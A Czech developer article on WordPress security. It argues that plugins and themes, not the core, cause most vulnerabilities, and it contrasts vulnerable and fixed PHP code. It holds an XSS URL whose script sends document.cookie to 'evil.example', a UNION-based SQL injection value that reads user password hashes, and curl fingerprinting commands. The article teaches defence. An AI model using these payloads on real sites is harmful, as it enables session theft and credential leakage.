Přejít k navigační liště

Zdroják » PHP » WordPress za to často nemůže: 97 % zranitelností je v pluginech a šablonách

WordPress za to často nemůže: 97 % zranitelností je v pluginech a šablonách

Články Databáze, PHP

WordPress pohání přes 43 % celého webu. Právě proto je terčem neustálých útoků. Jenže kdykoli se objeví titulkové zprávy o „napadených WordPress webech“, klíčový detail bývá pohřben v posledním odstavci — nebo chybí úplně: samotné jádro WordPressu je za útok zodpovědné jen výjimečně.

WordPress za to často nemůže: 97 % zranitelností je v pluginech a šablonách

WordPress pohání přes 43 % celého webu. Právě proto je terčem neustálých útoků. Jenže kdykoli se objeví titulkové zprávy o „napadených WordPress webech“, klíčový detail bývá pohřben v posledním odstavci — nebo chybí úplně: samotné jádro WordPressu je za útok zodpovědné jen výjimečně. Skutečné nebezpečí číhá jinde, v ekosystému rozšíření, která si správci instalují sami, často bez rozmyslu a bez následné péče.

97 % zranitelností v prostředí WordPress pochází z pluginů a šablon, nikoli z jádra CMS. (Zdroj: WPScan Vulnerability Database, průběžná data 2023–2025.)

Tento článek rozebírá, proč tomu tak je, jak zranitelnosti v rozšíření vypadají na úrovni kódu a co může správce webu udělat dřív, než útočník vůbec zaklepe. Není určen pouze pro vývojáře — velká část doporučení je použitelná i bez hlubokých programátorských znalostí.


Proč jádro není problém

Jádro WordPressu prochází formálním bezpečnostním auditem, který většina komerčního softwaru nemá. Tým WordPress Security Team tvoří přes dvacet specialistů; kód prochází důkladným code review, penetračními testy a rychlou záplatovací cestou. Kritická oprava se v jádře může objevit do 48 hodin od nahlášení. Navíc jádro podporuje automatické aktualizace od verze 3.7 z roku 2013, takže weby bez aktivního zásahu správce dostávají bezpečnostní záplaty samy, tiše na pozadí.

Výsledek je vidět v číslech: za posledních pět let bylo v jádře WordPressu identifikováno méně než dvacet závažných zranitelností. Ve stejném období databáze WPScan zaznamenala desetitisíce zranitelností v pluginech a šablonách. To není náhoda — je to rozdíl v procesech, zdrojích a kultuře bezpečnosti.

Pluginy a šablony toto zázemí zpravidla nemají. Vyvíjí je jednotlivci nebo malé agentury bez dedikovaného bezpečnostního procesu, bez pravidelných auditů a — jak ukazují data — bez včasné reakce na nahlášené chyby. Průměrná doba od nahlášení zranitelnosti po vydání záplaty u pluginů přesahuje 50 dní. Jinými slovy: pokud bezpečnostní výzkumník nahlásí chybu dnes, váš web může být zranitelný ještě téměř dva měsíce.

Situaci dále komplikuje skutečnost, že zranitelnost nemusí být záplatována vůbec. Část pluginů je abandonware — vývojář přestal projekt udržovat, ale plugin zůstává v repozitáři ke stažení a miliony webů ho stále používají. Podle analýzy Patchstack bylo v roce 2024 přes 800 aktivně zneužívaných zranitelností v pluginech, které již nedostávají aktualizace.

Číselný přehled

  • Pluginy: ~87 % zranitelností, průměrná doba záplaty 53 dní
  • Šablony (themes): ~10 % zranitelností, průměrná doba záplaty 41 dní
  • Jádro WordPress: ~3 % zranitelností, průměrná doba záplaty méně než 7 dní

Anatomie nejčastějších zranitelností v pluginech

Zranitelnosti v pluginech nejsou náhodné — opakují se v předvídatelných vzorcích. Vývojáři dělají stále stejné chyby, protože WordPress API nabízí bezpečné funkce, ale jejich použití nevynucuje. Nikdo vás nezastaví, když místo $wpdb->prepare() použijete přímou interpolaci proměnné do SQL dotazu. Kód bude fungovat — jen bude zranitelný.

Níže jsou čtyři nejčastější třídy, se kterými se setkávají jak penetrační testeři, tak záznamy v databázi CVE.

1. Cross-Site Scripting (XSS)

XSS je statisticky nejčastější třídou zranitelností napříč celým webovým ekosystémem a WordPress pluginy nejsou výjimkou. Princip je jednoduchý: plugin přijme uživatelský vstup a bez sanitizace ho vypíše do HTML stránky. Útočník vloží skript, který se spustí v prohlížeči jiného uživatele — typicky administrátora — a ukradne session cookie, přesměruje na phishing nebo provede akci jménem přihlášeného uživatele.

XSS se dělí na dvě varianty. Reflected XSS vyžaduje, aby oběť klikla na speciálně připravený odkaz — payload je součástí URL a odráží se zpět ve stránce. Stored XSS je závažnější: útočník payload uloží do databáze (například do komentáře nebo uživatelského profilu) a skript se spustí pro každého, kdo stránku navštíví.

Příklad zranitelného kódu v pluginu, který vypisuje parametr z URL:

// Nebezpečné: přímý výpis $_GET bez escapování
function my_plugin_notice() {
    if ( isset( $_GET['notice'] ) ) {
        echo '<div class="notice">' . $_GET['notice'] . '</div>';
    }
}Code language: PHP (php)

Útočník pak stačí nasdílet URL s payloadem — například jako odkaz v e-mailu cílenému na administrátora webu:

https://example.com/wp-admin/?notice=<script>fetch('https://evil.example/steal?c='+document.cookie)</script>Code language: HTML, XML (xml)

Oprava je přímočará. WordPress nabízí rodinu funkcí pro escapování výstupu, každou pro jiný kontext: esc_html() pro prostý text, esc_attr() pro hodnoty HTML atributů, esc_url() pro URL adresy a wp_kses_post() pro HTML, kde chceme povolit určité bezpečné značky.

// Bezpečné: výstup escapovaný přes esc_html()
function my_plugin_notice() {
    if ( isset( $_GET['notice'] ) ) {
        echo '<div class="notice">'
            . esc_html( $_GET['notice'] )
            . '</div>';
    }
}Code language: PHP (php)

Klíčové pravidlo WordPress bezpečnosti zní: escapujte co nejpozději, těsně před výpisem. Nespoléhejte na to, že data byla sanitizována při vstupu — sanitizace na vstupu a escapování na výstupu jsou dva různé kroky, oba jsou nutné.

2. SQL Injection

SQL injection je stará jako webové aplikace samotné, ale v pluginech se objevuje dodnes. Pluginy si píší vlastní databázové dotazy a zapomínají na přípravu parametrů. Útočník pak může číst celou databázi, měnit záznamy nebo je mazat — včetně hashů hesel všech uživatelů. V krajním případě může prostřednictvím SQL injection zapsat soubory na disk a získat vzdálené spuštění kódu.

// Nebezpečné: přímá interpolace proměnné do dotazu
global $wpdb;
$id = $_GET['product_id'];

$result = $wpdb->get_row(
    "SELECT * FROM {$wpdb->prefix}products WHERE id = $id"
);Code language: PHP (php)

Útočník místo čísla produktu pošle SQL fragment. Například hodnota 1 UNION SELECT user_login, user_pass, 3 FROM wp_users-- vrátí jméno a hash hesla prvního uživatele v databázi.

Správný přístup vždy používá připravené dotazy přes metodu $wpdb->prepare(), která parametry automaticky escapuje a typuje:

// Bezpečné: prepared statement přes $wpdb->prepare()
global $wpdb;
$id = absint( $_GET['product_id'] ); // základní typová validace na vstupu

$result = $wpdb->get_row(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}products WHERE id = %d",
        $id
    )
);Code language: PHP (php)

Zástupný symbol %d zajistí, že hodnota bude vždy interpretována jako celé číslo. Pro řetězce slouží %s, pro hodnoty s plovoucí desetinnou čárkou %f. Kombinace typové validace na vstupu a prepared statements na výstupu do databáze eliminuje SQL injection prakticky úplně.

3. Broken Access Control (chybějící ověření role)

Broken Access Control je podle OWASP Top 10 dlouhodobě nejrozšířenější kategorií webových zranitelností. V kontextu WordPress pluginů se projevuje nejčastěji tak, že plugin registruje AJAX akce nebo REST API endpointy dostupné i nepřihlášeným uživatelům a zapomene ověřit, zda má volající práva na prováděnou operaci. Útočník pak může volat administrátorské funkce zcela bez oprávnění.

// Nebezpečné: akce dostupná komukoli přes wp-admin/admin-ajax.php
add_action( 'wp_ajax_nopriv_delete_user_data', 'delete_user_data' );
add_action( 'wp_ajax_delete_user_data',        'delete_user_data' );

function delete_user_data() {
    $user_id = absint( $_POST['user_id'] );
    wp_delete_user( $user_id ); // smaže libovolného uživatele!
    wp_send_json_success();
}Code language: PHP (php)

Správné řešení vyžaduje tři vrstvy ochrany: omezení akce pouze na přihlášené uživatele, ověření nonce (ochranu proti CSRF útokům) a kontrolu, zda má konkrétní přihlášený uživatel potřebné oprávnění pomocí current_user_can().

// Bezpečné: přihlášení uživatelé + nonce + ověření capability
add_action( 'wp_ajax_delete_user_data', 'delete_user_data' );

function delete_user_data() {
    // 1. Ověření nonce (CSRF token)
    check_ajax_referer( 'delete_user_nonce', '_wpnonce' );

    // 2. Ověření oprávnění volajícího
    if ( ! current_user_can( 'delete_users' ) ) {
        wp_send_json_error( 'Nedostatečná oprávnění.', 403 );
    }

    $user_id = absint( $_POST['user_id'] );
    wp_delete_user( $user_id );
    wp_send_json_success();
}Code language: PHP (php)

Poznámka: Hook wp_ajax_nopriv_* zpřístupní akci nepřihlášeným návštěvníkům. Pokud ho plugin registruje pro citlivé operace, je to téměř vždy bezpečnostní chyba. Legitimní použití tohoto hooku existuje — například pro zpracování formulářů kontaktního formuláře — ale musí být vždy kombinováno s nonce ověřením.

4. Deserializace nedůvěryhodných dat

PHP funkce unserialize() je jednou z nejnebezpečnějších funkcí v celém jazyce. Při zpracování škodlivě sestavených dat dokáže spustit libovolný kód prostřednictvím tzv. PHP Object Injection. Útok funguje tak, že útočník podstrčí serializovaný objekt třídy, která existuje v kontextu aplikace a jejíž magické metody (__wakeup, __destruct) provádějí nebezpečné operace — čtení nebo zápis souborů, volání shellu a podobně.

Pluginy, které serializují uživatelská data do databáze nebo do cookies a pak je deserializují bez ověření jejich integrity, jsou vůči tomuto útoku zranitelné. Správnou a plně dostačující alternativou je ve většině případů JSON, který deserializaci objektů nepodporuje:

// Nebezpečné: unserialize() může spustit kód
$data = unserialize( get_option( 'my_plugin_cache' ) );

// Bezpečné: json_decode() deserializuje pouze data, nikoli objekty
$data = json_decode( get_option( 'my_plugin_cache' ), true );Code language: PHP (php)

Pokud je serializace PHP objektů z technického důvodu nezbytná, musí být data před deserializací ověřena kryptografickým podpisem (HMAC). Bez tohoto kroku je každé volání unserialize() na nedůvěryhodný vstup potenciální bezpečnostní díra.


Jak útočníci zranitelnosti nacházejí a zneužívají

Oblíbená představa hackera, který týdny ručně prochází kód hledaje skrytou chybu, je z velké části mýtus. Moderní masové útoky na WordPress weby jsou vysoce automatizované a nevyžadují hluboké technické znalosti. Existují veřejné databáze jako WPScan, CVE Details nebo Patchstack, kde jsou zranitelnosti popsány včetně PoC exploitů a přesných verzí pluginů, které postihují. Automatizované skenery pak projdou miliony domén za hodiny a sestaví seznam webů s konkrétní verzí zranitelného pluginu.

Typický útočný scénář probíhá ve třech fázích:

  1. Fingerprinting — skener zjistí, jaké pluginy web používá a jakou verzi. Informaci získá z readme.txt pluginu, ze zdrojového kódu stránky (odkaz na CSS nebo JS soubory pluginu obsahuje cestu s názvem pluginu), nebo přímo z REST API WordPressu.
  2. Exploitace — jakmile skener identifikuje zranitelnou verzi, automaticky spustí příslušný exploit. Nejčastěji jde o vzdálené spuštění kódu (RCE), SQL injection nebo nahrání škodlivého souboru.
  3. Persistence — útočník se postará o to, aby si přístup udržel i po případné záplatě nebo obnově webu. Nahraje webshell do adresáře pro uploady, přidá backdoor do functions.php aktivní šablony, vytvoří skrytý administrátorský účet nebo vloží škodlivý kód do existujících PHP souborů.

Celý proces od prvního skenování po plnou kompromitaci webu trvá v automatizovaném režimu řádově minuty. Útočník nemusí o vašem webu vědět vůbec nic — stačí mu, že používáte zranitelnou verzi konkrétního pluginu.

Jak útočník čte verzi pluginu

# Verze pluginu je dostupná z veřejného souboru
curl -s https://example.com/wp-content/plugins/vulnerable-plugin/readme.txt \
  | grep -i "Stable tag"

# Výstup:
# Stable tag: 2.1.3   ← tato verze má CVE-2024-XXXXX

# Alternativně přes zdrojový kód — cesty k souborům prozradí název i verzi
curl -s https://example.com/ | grep -oE "plugins/[^/]+/[^\"']+"Code language: PHP (php)

Doporučení: Zakažte přístup k souboru readme.txt v .htaccess nebo přes pravidla Nginx. U Apache stačí přidat do kořene webu:

<FilesMatch "readme\.txt$">
    Order allow,deny
    Deny from all
</FilesMatch>Code language: HTML, XML (xml)

Jde o triviální opatření, které sníží automatizovaný fingerprinting. Samo o sobě web nezachrání — zranitelnost existuje bez ohledu na to, zda útočník zná přesnou verzi. Ale zvyšuje práh námahy a odfiltruje část automatizovaných skenerů.


Praktická obrana: co udělat hned

Dobrá zpráva je, že drtivou většinu bezpečnostních rizik plynoucích z pluginů a šablon lze výrazně snížit opatřeními, která nevyžadují programátorské znalosti. Jde především o disciplínu a hygienu správy webu.

Správa pluginů a šablon

Pravidlo číslo jedna: méně je více. Každý nainstalovaný plugin je potenciální vstupní bod, každá šablona rozšiřuje útočný povrch. Zásadní a málo respektovaný fakt je, že deaktivované pluginy stále obsahují svůj kód na disku. WordPress je sice nespouští automaticky, ale pokud zranitelnost umožňuje přímý přístup k PHP souboru pluginu (například přes přímé URL volání), deaktivace nepomůže. Jediná bezpečná varianta je kompletní smazání.

  • Odstraňte vše, co aktivně nepoužíváte — včetně neaktivních šablon. Ponechte jen jednu záložní šablonu (zpravidla aktuální výchozí téma WordPressu).
  • Sledujte datum poslední aktualizace pluginů. Plugin bez aktualizace déle než dva roky je varovný signál — zejména pokud jde o plugin, který zpracovává uživatelský vstup nebo přistupuje k databázi.
  • Upřednostňujte pluginy s velkým počtem aktivních instalací, aktivní komunitou a transparentním changelogem, kde jsou bezpečnostní opravy explicitně označeny.
  • Zvažte komerční alternativy k bezplatným pluginům pro kritické funkce webu. Komerční pluginy mají zpravidla lepší bezpečnostní podporu a rychlejší záplatovací cyklus.

Automatické aktualizace

WordPress umožňuje zapnout automatické aktualizace i pro pluginy a šablony. Vzhledem k tomu, že průměrná doba exploitace po zveřejnění zranitelnosti jsou hodiny až dny, zatímco průměrný správce aktualizuje web jednou za týden nebo méně, jde o jedno z nejdůležitějších opatření. Přidejte do wp-config.php:

// Automatické aktualizace jádra (menší i hlavní verze)
define( 'WP_AUTO_UPDATE_CORE', true );

// Automatické aktualizace všech pluginů
add_filter( 'auto_update_plugin', '__return_true' );

// Automatické aktualizace šablon
add_filter( 'auto_update_theme', '__return_true' );Code language: JavaScript (javascript)

Upozornění: Automatické aktualizace pluginů mohou za určitých okolností rozbít funkcionalitu webu, pokud plugin zavede zpětně nekompatibilní změnu. Nasaďte je ideálně v kombinaci s monitoringem dostupnosti (uptime monitoring), který vás okamžitě upozorní na výpadek, a se stagingovým prostředím, kde aktualizace proběhnou nejdříve.

Kontrola integrity souborů

Malware v napadených webech bývá vložen přímo do PHP souborů pluginů, šablon nebo samotného jádra. Útočník typicky přidá zakódovaný payload na začátek nebo konec existujícího souboru, takže vizuální prohlídka adresáře nic neodhalí. Pravidelná kontrola integrity souborů porovnáváním s původními checksums je základní detekcí průniku.

Nástroj WP-CLI umí ověřit kontrolní součty jádra i pluginů instalovaných z oficiálního repozitáře:

# Ověření integrity jádra WordPressu
wp core verify-checksums

# Ověření konkrétního pluginu
wp plugin verify-checksums woocommerce

# Výpis všech pluginů s jejich verzemi a stavem aktualizací
wp plugin list --fields=name,version,update,status --format=table

# Hledání PHP souborů změněných v posledních 24 hodinách
# (užitečné po podezřelé aktivitě)
find /var/www/html -name "*.php" -newer /var/www/html/wp-config.php -type fCode language: PHP (php)

Web Application Firewall (WAF)

WAF filtruje škodlivé požadavky dřív, než dorazí do PHP. Je to vrstva obrany, která dokáže blokovat pokusy o exploitaci i tehdy, když záplata ještě nebyla vydána nebo nainstalována — takzvaná virtual patching. Existují dvě základní varianty s odlišnými kompromisy.

  • Plugin-level WAF (Wordfence, Sucuri Security) — jednoduchá instalace, žádné změny DNS. Nevýhoda: pravidla se spouštějí až po načtení WordPressu a PHP, takže škodlivý požadavek stále zatíží server. Při DDoS útoku nebo masovém skenování to může vést k výpadku i přesto, že WAF útoky blokuje.
  • DNS/CDN WAF (Cloudflare, Sucuri Firewall) — veškerý provoz jde přes proxy infrastrukturu poskytovatele, škodlivé požadavky jsou blokovány ještě před dosažením vašeho serveru. Efektivnější z hlediska výkonu i bezpečnosti, ale vyžaduje změnu DNS záznamu a přidává závislost na třetí straně.

Princip nejnižšího oprávnění na databázové úrovni

Databázový uživatel, pod kterým WordPress běží, nepotřebuje pro svůj běžný provoz práva DROP, CREATE, ALTER nebo FILE. Pokud útočník dosáhne SQL injection, tato práva mu umožní smazat celé tabulky, vytvářet nové nebo dokonce zapisovat soubory na disk. Odebrání zbytečných práv nezabrání SQL injection, ale dramaticky sníží její dopad:

-- Vytvořte dedikovaného uživatele s minimálními právy
CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'silné_náhodné_heslo';

-- Přidělte pouze práva nezbytná pro běžný provoz
GRANT SELECT, INSERT, UPDATE, DELETE
    ON wordpress_db.*
    TO 'wp_user'@'localhost';

-- Explicitně odepřít nebezpečná práva (pro jistotu, pokud byla dříve udělena)
REVOKE DROP, CREATE, ALTER, FILE
    ON wordpress_db.*
    FROM 'wp_user'@'localhost';

FLUSH PRIVILEGES;Code language: JavaScript (javascript)

Jak bezpečně hodnotit plugin před instalací

Nejlepší čas řešit bezpečnost pluginu je před jeho instalací, nikoli po kompromitaci webu. Bezpečnostní posouzení pluginu nemusí trvat hodiny — existuje několik rychlých signálů, které odhalí zjevné problémy bez nutnosti číst zdrojový kód.

  1. Datum poslední aktualizace — plugin bez aktualizace déle než rok je rizikem. Dva roky bez aktualizace jsou důvodem k hledání alternativy. Aktivně udržovaný plugin bude reagovat na nové verze PHP, WordPressu i nově objevené bezpečnostní hrozby.
  2. Kompatibilita s aktuální verzí WordPressu — zobrazuje se přímo v repozitáři. Plugin testovaný s verzí WP o dvě hlavní verze starší je signálem zanedbané údržby.
  3. Počet aktivních instalací — populárnější pluginy mají zpravidla větší bezpečnostní dohled komunity a výzkumníků. To neznamená, že jsou automaticky bezpečné, ale závažné zranitelnosti jsou v nich typicky odhaleny a záplatovány rychleji.
  4. Záznamy v databázi WPScan nebo Patchstack — vyhledejte přesný název pluginu. Zjistíte historii zranitelností, jejich závažnost (CVSS skóre) i to, zda byly záplatovány. Plugin s dlouhou historií opravovaných zranitelností může být paradoxně lepší volbou než plugin bez záznamu — může to znamenat, že je aktivně auditován.
  5. Zdrojový kód — pro technicky zdatné správce: rychlá kontrola klíčových souborů odhalí, zda plugin vůbec používá základní bezpečnostní praktiky. Hledejte přítomnost $wpdb->prepare(), funkcí rodiny esc_*() a check_ajax_referer(). Absence těchto volání v pluginu, který pracuje s uživatelským vstupem, je varovný signál.

Závěr: zodpovědnost je sdílená

WordPress jako platforma svou část práce odvádí dobře a v mnoha ohledech lépe než většina alternativních CMS. Automatické bezpečnostní aktualizace jádra, formální bezpečnostní tým s jasným procesem, strukturované API pro bezpečné SQL dotazy, escapování výstupu a ověřování oprávnění — to vše existuje, je dokumentováno a vývojářům k dispozici. Problém nastane, když vývojáři pluginů tato API ignorují, neznají je nebo je používají nesprávně. A nastane znovu, když správci webů instalují desítky rozšíření bez rozmyslu a neaktualizují je měsíce.

Pro správce webu z toho plyne jasný závěr: bezpečnost WordPress instalace je z velké části věcí disciplíny. Disciplíny v instalaci pouze nezbytných rozšíření, jejich průběžné aktualizaci, monitorování integrity souborů a vědomého výběru pluginů podle bezpečnostní reputace jejich autorů. Jádro WordPressu je zpravidla to poslední místo, kde hledat příčinu napadení.

Pro vývojáře pluginů a šablon pak platí ještě jednodušší poučení: WordPress API, které máte k dispozici, bezpečnost řeší za vás — ale musíte ho použít. $wpdb->prepare(), esc_html(), current_user_can() a check_ajax_referer() nejsou volitelná vylepšení. Jsou to základní stavební kameny každého seriózně napsaného pluginu.

97% statistika není obhajoba WordPressu ani jeho vývojářů. Je to příležitost: naprostá většina útočného povrchu je ve vašich rukou a lze ji výrazně zmenšit — bez nutnosti čekat na bezpečnostní záplatu od někoho jiného.

Komentáře

Odebírat
Upozornit na
guest
0 Komentářů
Nejstarší
Nejnovější Most Voted

Frugal computing: architektura pro dobu dražší infrastruktury

Vývojáři se naučili zrychlovat dotazy, přidávat cache, škálovat služby a hlídat účet za cloud. Frugal computing začíná o jednu otázku dřív: musí se výpočet, přesun dat, volání modelu nebo uložení vůbec stát? Rostoucí spotřeba datových center a nové evropské reportování ho posouvají do návrhu architektury, dřív než do závěrečné poznámky o udržitelnosti v prezentaci.